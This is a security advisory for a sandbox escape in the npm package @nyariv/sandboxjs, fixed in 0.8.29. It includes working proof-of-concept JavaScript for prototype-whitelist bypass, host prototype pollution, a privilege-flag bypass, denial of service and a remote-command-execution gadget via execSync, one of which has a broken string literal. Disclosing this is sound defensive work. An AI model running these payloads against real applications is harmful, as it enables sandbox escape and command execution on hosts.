Advisory

GHSA-jjpw-65fv-8g48

Also known as: CVE-2026-25586

Summary

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Details

Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host `Object.prototype` pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" />

<img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" />

<img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />

Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js

### Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />

RCE via host gadget (prototype pollution -> execSync)

<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />

const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-02-05 21:04 UTC
Modified
2026-02-06 22:20 UTC

Affected packages and fixes

@nyariv/sandboxjs

npm · All systems

Affected

  • introduced 0, fixed 0.8.29 (semver)

Fixed versions

0.8.29

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences